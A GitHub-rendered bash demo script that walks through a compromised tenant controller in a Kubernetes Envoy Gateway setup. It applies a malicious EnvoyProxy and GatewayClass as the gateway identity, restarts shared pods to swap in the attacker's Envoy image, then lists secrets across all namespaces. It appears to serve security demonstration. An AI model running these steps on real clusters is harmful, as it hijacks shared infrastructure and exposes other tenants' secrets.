-
Notifications
You must be signed in to change notification settings - Fork 1
/
demo-3.sh
executable file
·36 lines (32 loc) · 894 Bytes
/
demo-3.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
########################
# include the magic
########################
. demo-magic.sh
# hide the evidence
clear
# attempt to patch gatewayclass
pe "kubectl describe clusterrole eg-tenant-a-gateway-helm-envoy-gateway-role | grep envoyproxies"
wait
clear
pe "kubectl describe clusterrole eg-tenant-a-gateway-helm-envoy-gateway-role | grep gatewayclasses"
wait
clear
cat "./compromised-controller/malicious-proxy.yaml"
wait
clear
pe "cat ./compromised-controller/malicious-gatewayclass.yaml"
wait
clear
pe "kubectl apply -f ./compromised-controller/malicious-proxy.yaml"
pe "./scripts/perform-action-as-gateway.sh kubectl apply -f ./compromised-controller/malicious-gatewayclass.yaml"
wait
clear
pe "make restart-shared-pods"
pe "kubectl get pods -n shared"
wait
clear
pe "make grep-shared-envoy-image"
wait
clear
pe "./scripts/perform-action-as-gateway.sh kubectl get secrets -A"